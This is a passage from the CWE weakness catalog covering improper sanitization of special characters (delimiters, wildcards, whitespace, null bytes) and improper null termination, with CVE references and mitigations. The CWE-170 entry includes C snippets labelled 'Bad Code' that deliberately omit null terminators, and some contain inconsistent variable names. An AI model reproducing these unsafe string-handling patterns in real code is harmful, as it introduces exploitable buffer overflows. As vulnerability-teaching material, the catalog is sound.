The software receives input from an upstream component, but it does not sanitize or incorrectly sanitizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant infoleak.

Potential Mitigations

Developers should anticipate that substitution characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	138	Improper Sanitization of Special Elements	**699 1000**	169

Research Gaps

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Substitution Character

CWE-154: Improper Sanitization of Variable Name Delimiters

Weakness ID: 154 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software receives input from an upstream component, but it does not sanitize or incorrectly sanitizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: "$" for an environment variable.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant infoleak.
CVE-2005-0129	"%" variable is expanded by wildcard function into disallowed commands.

Potential Mitigations

Developers should anticipate that variable name delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	138	Improper Sanitization of Special Elements	**699** **1000**	169

Research Gaps

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Variable Name Delimiter

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
15	Command Delimiters	

CWE-155: Improper Sanitization of Wildcards or Matching Symbols

Weakness ID: 155 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software receives input from an upstream component, but it does not sanitize or incorrectly sanitizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.

Extended Description

As data is parsed, an injected element may cause the process to take unexpected actions.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0334	Wildcards generate long string on expansion.
CVE-2002-0433	Bypass file restrictions using wildcard character.
CVE-2002-1010	Bypass file restrictions using wildcard character.
CVE-2004-1962	SQL injection involving "/**/" sequences.

Potential Mitigations

Developers should anticipate that wildcard or matching elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	138	Improper Sanitization of Special Elements	**699**	169

Nature	Type	ID	Name	V	Page
				1000	
ParentOf	WM	*56*	*Path Equivalence: 'filedir*' (Wildcard)*	*1000*	*53*

Research Gaps

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Wildcard or Matching Element

CWE-156: Improper Sanitization of Whitespace

Weakness ID: 156 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software receives input from an upstream component, but it does not sanitize or incorrectly sanitizes special elements that could be interpreted as whitespace when they are sent to a downstream component.

Extended Description

This can include space, tab, etc.

Alternate Terms

White space

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0637	MIE. virus protection bypass with RFC violations involving extra whitespace, or missing whitespace.
CVE-2003-1015	MIE. whitespace interpreted differently by mail clients.
CVE-2004-0942	CPU consumption with MIME headers containing lines with many space characters, probably due to algorithmic complexity (RESOURCE.AMP.ALG).

Potential Mitigations

Developers should anticipate that whitespace will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	138	Improper Sanitization of Special Elements	**699** **1000**	169

Relationship Notes

Can overlap other separator characters or delimiters.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER	SPEC.WHITESPACE	Whitespace

CWE-157: Failure to Sanitize Paired Delimiters

Weakness ID: 157 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Paired delimiters might include:

< and > angle brackets

(and) parentheses

{ and } braces

[and] square brackets

" " double quotes

' ' single quotes

Observed Examples

Reference	Description
CVE-2000-1165	Crash via message without closing ">".
CVE-2004-0956	Crash via missing paired delimiter (open double-quote but no closing double-quote).
CVE-2005-2933	Buffer overflow via mailbox name with an opening double quote but missing a closing double quote, causing a larger copy than expected.

Potential Mitigations

Developers should anticipate that grouping elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	138	Improper Sanitization of Special Elements	**699** **1000**	169

Research Gaps

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Grouping Element / Paired Delimiter

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
15	Command Delimiters	

CWE-158: Failure to Sanitize Null Byte or NUL Character

Weakness ID: 158 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

NUL characters or null bytes injected into an application through input can be used to compromise a system.

Extended Description

As data is parsed, an injected NUL character or null byte may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0149	
CVE-2000-0671	
CVE-2001-0738	
CVE-2001-1140	web server allows source code for executable programs to be read via a null character (%00) at the end of a request.
CVE-2002-1025	
CVE-2002-1031	Protection mechanism for limiting file access can be bypassed using a null character (%00) at the end of the directory name.
CVE-2002-1774	Null character in MIME header allows detection bypass.
CVE-2003-0768	XSS protection mechanism only checks for sequences with an alphabetical character following a (<), so a non-alphabetical or null character (%00) following a < may be processed.
CVE-2004-0189	Decoding function in proxy allows regular expression bypass in ACLs via URLs with null characters.
CVE-2005-2008	Source code disclosure using trailing null.
CVE-2005-2061	Trailing null allows file include.
CVE-2005-3153	Null byte bypasses PHP regexp check (interaction error).
CVE-2005-3293	Source code disclosure using trailing null.
CVE-2005-4155	Null byte bypasses PHP regexp check (interaction error).

Potential Mitigations

Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	138	Improper Sanitization of Special Elements	**699 1000**	169

Relationship Notes

This can be a factor in multiple interpretation errors, other interaction errors, filename equivalence, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Null Character / Null Byte

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	

CWE-159: Failure to Sanitize Special Element

Weakness ID: 159 *(Weakness Class)* **Status:** Draft

Description

Summary

Weaknesses in this attack-focused category fail to sufficiently filter and interpret special elements in user-controlled input which could cause adverse effect on the software behavior and integrity.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

The variety of manipulations that involve special elements is staggering. This is one reason why they are so frequently reported.

As previously discussed, precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation. weaknesses involving special characters do not always require special manipulations besides injection of the special character, but sometimes they do.

This list is FAR from complete.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	138	Improper Sanitization of Special Elements	**699 1000**	169
ParentOf	Ww	*160*	*Improper Sanitization of Leading Special Elements*	***699 1000***	*188*
ParentOf	Ww	*162*	*Improper Sanitization of Trailing Special Elements*	***699 1000***	*190*
ParentOf	Ww	*164*	*Improper Sanitization of Internal Special Elements*	***699 1000***	*191*
ParentOf	We	*166*	*Improper Handling of Missing Special Element*	***699 1000***	*193*
ParentOf	We	*167*	*Improper Handling of Additional Special Element*	***699 1000***	*194*
ParentOf	We	*168*	*Failure to Resolve Inconsistent Special Elements*	***699 1000***	*194*

Research Gaps

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Common Special Element Manipulations

CWE-160: Failure to Sanitize Leading Special Element

Weakness ID: 160 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Leading special elements injected into an application through input can be used to compromise a system.

Extended Description

As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	159	Failure to Sanitize Special Element	**699 1000**	187
ParentOf	Ww	*37*	*Path Traversal: '/absolute/pathname/here'*	*1000*	*39*
ParentOf	Ww	*161*	*Improper Sanitization of Multiple Leading Special Elements*	***699 1000***	*189*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Leading Special Element

CWE-161: Failure to Sanitize Multiple Leading Special Elements

Weakness ID: 161 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Multiple leading special elements injected into an application through input can be used to compromise a system.

Extended Description

As data is parsed, improperly handled multiple leading special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that multiple leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Ww	160	Improper Sanitization of Leading Special Elements	**699 1000**	188
ParentOf	Ww	*50*	*Path Equivalence: '//multiple/leading/slash'*	*1000*	*49*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Multiple Leading Special Elements

CWE-162: Failure to Sanitize Trailing Special Element

Weakness ID: 162 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Trailing special elements injected into an application through input can be used to compromise a system.

Extended Description

As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that trailing special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	159	Failure to Sanitize Special Element	**699 1000**	187
ParentOf	Ww	*42*	*Path Equivalence: 'filename.' (Trailing Dot)*	*1000*	*45*
ParentOf	Ww	*46*	*Path Equivalence: 'filename ' (Trailing Space)*	*1000*	*47*
ParentOf	Ww	*49*	*Path Equivalence: 'filename/' (Trailing Slash)*	*1000*	*49*
ParentOf	Ww	*54*	*Path Equivalence: 'filedir\' (Trailing Backslash)*	*1000*	*51*
ParentOf	Ww	*163*	*Improper Sanitization of Multiple Trailing Special Elements*	***699 1000***	*190*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Trailing Special Element

CWE-163: Failure to Sanitize Multiple Trailing Special Elements

Weakness ID: 163 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Multiple trailing special elements injected into an application through input can be used to compromise a system.

Extended Description

As data is parsed, improperly handled multiple trailing special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that multiple trailing special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WW	162	Improper Sanitization of Trailing Special Elements	**699 1000**	190
ParentOf	WW	*43*	*Path Equivalence: 'filename....' (Multiple Trailing Dot)*	*1000*	*45*
ParentOf	WW	*52*	*Path Equivalence: '/multiple/trailing/slash//'*	*1000*	*50*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Multiple Trailing Special Elements

CWE-164: Failure to Sanitize Internal Special Element

Weakness ID: 164 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Internal special elements injected into an application through input can be used to compromise a system.

Extended Description

As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	159	Failure to Sanitize Special Element	**699 1000**	187
ParentOf	Ww	*165*	*Improper Sanitization of Multiple Internal Special Elements*	***699 1000***	*192*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Internal Special Element

CWE-165: Failure to Sanitize Multiple Internal Special Elements

Weakness ID: 165 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Multiple internal special elements injected into an application through input can be used to compromise a system.

Extended Description

As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that multiple internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WM	164	Improper Sanitization of Internal Special Elements	**699 1000**	191
ParentOf	WM	*45*	*Path Equivalence: 'file...name' (Multiple Internal Dot)*	*1000*	*46*
ParentOf	WM	*53*	*Path Equivalence: '\multiple\\internal\backslash'*	*1000*	*51*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Multiple Internal Special Element

CWE-166: Failure to Handle Missing Special Element

Weakness ID: 166 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle when an expected special element (character or reserved word) is missing.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0729	Missing special character (separator) causes crash
CVE-2002-1362	Crash via message type without separator character
CVE-2002-1532	HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it

Potential Mitigations

Developers should anticipate that special elements will be removed in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

This can overlap incomplete input.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	159	Failure to Sanitize Special Element	**699 1000**	187
ChildOf	WC	703	Failure to Handle Exceptional Conditions	1000	706

Nature	Type	ID	Name	V	Page
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Special Element

CWE-167: Failure to Handle Additional Special Element

Weakness ID: 167 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle when an additional unexpected special element (character or reserved word) is used.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0116	Extra "<" in front of SCRIPT tag.
CVE-2001-1157	Extra "<" in front of SCRIPT tag.
CVE-2002-2086	"<script" - probably a cleansing error

Potential Mitigations

Developers should anticipate that extra special elements will be injected in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	159	Failure to Sanitize Special Element	**699** **1000**	187
ChildOf	Wc	703	Failure to Handle Exceptional Conditions	1000	706
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Extra Special Element

CWE-168: Failure to Resolve Inconsistent Special Elements

Weakness ID: 168 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle when an inconsistency exists between two or more special characters or reserved words.

Extended Description

An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that inconsistent special elements will be injected/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WG	159	Failure to Sanitize Special Element	**699 1000**	187
ChildOf	WG	703	Failure to Handle Exceptional Conditions	1000	706

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Inconsistent Special Elements

CWE-169: Technology-Specific Special Elements

Category ID: 169 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of special elements within particular technologies.

Applicable Platforms

Languages

- All

Potential Mitigations

Developers should anticipate that technology-specific special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

Other Notes

Note that special elements problems can arise from designs or languages that (1) do not separate "code" from "data" or (2) mix meta-information with information.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	138	Improper Sanitization of Special Elements	**699**	169
ParentOf	We	*170*	*Improper Null Termination*	***699***	*196*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Technology-Specific Special Elements

CWE-170: Improper Null Termination

Weakness ID: 170 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not properly terminate a string or array with a null character or equivalent terminator.

Extended Description

Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Confidentiality

Information disclosure may occur if strings with misplaced or omitted null characters are printed.

Availability

A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing.

Integrity

A misplaced null character may corrupt other data in memory

Access Control

Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

The following code reads from cfgfile and copies the input into inputbuf using strcpy(). The code mistakenly assumes that inputbuf will always contain a NULL terminator.

Bad Code

```
#define MAXLEN 1024
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,input_buf); //requires null terminated input
...
```

The code above will behave correctly if the data read from cfgfile is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to strcpy() will continue copying from memory until it encounters an

arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following inputbuf, can leave the application susceptible to a buffer overflow attack.

Example 2:

In the following code, readlink() expands the name of a symbolic link stored in the buffer path so that the buffer filename contains the absolute path of the file referenced by the symbolic link. The length of the resulting value is then calculated using strlen().

Bad Code

```
char buf[MAXPATH];
...
readlink(path, buf, MAXPATH);
int length = strlen(filename);
...
```

The code above will not behave correctly because the value read into buf by readlink() will not be null terminated. In testing, vulnerabilities like this one might not be caught because the unused contents of buf and the memory immediately following it may be NULL, thereby causing strlen() to appear as if it is behaving correctly. However, in the wild strlen() will continue traversing memory until it encounters an arbitrary NULL character on the stack, which results in a value of length that is much larger than the size of buf and may cause a buffer overflow in subsequent uses of this value. Buffer overflows aside, whenever a single call to readlink() returns the same value that has been passed to its third argument, it is impossible to know whether the name is precisely that many bytes long, or whether readlink() has truncated the name to avoid overrunning the buffer. Traditionally, strings are represented as a region of memory containing data terminated with a NULL character. Older string-handling methods frequently rely on this NULL character to determine the length of the string. If a buffer that does not contain a NULL terminator is passed to one of these functions, the function will read past the end of the buffer. Malicious users typically exploit this type of vulnerability by injecting data with unexpected size or content into the application. They may provide the malicious input either directly as input to the program or indirectly by modifying application resources, such as configuration files. In the event that an attacker causes the application to read beyond the bounds of a buffer, the attacker may be able use a resulting buffer overflow to inject and execute arbitrary code on the system.

Example 3:

While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

C Example:

Bad Code

```
#include <stdio.h>
#include <string.h>
int main() {
  char longString[] = "String signifying nothing";
  char shortString[16];
  strncpy(shortString, longString, 16);
  printf("The last character in shortString is: %c %1$x\n", shortString[15]);
  return (0);
}
```

The above code gives the following output: The last character in shortString is: l 6c So, the shortString array does not end in a NULL character, even though the "safe" string function strncpy() was used.

Observed Examples

Reference	Description
CVE-2000-0312	Attacker does not null-terminate argv[] when invoking another program.
CVE-2001-1389	Multiple vulnerabilities related to improper null termination.
CVE-2003-0143	Product does not null terminate a message buffer after snprintf-like call, leading to overflow.
CVE-2003-0777	Interrupted step causes resultant lack of null termination.
CVE-2004-1072	Fault causes resultant lack of null termination, leading to buffer expansion.

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Implementation

Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

Other Notes

Conceptually, this does not just apply to the C language; any language or representation that involves a terminator could have this sort of problem.

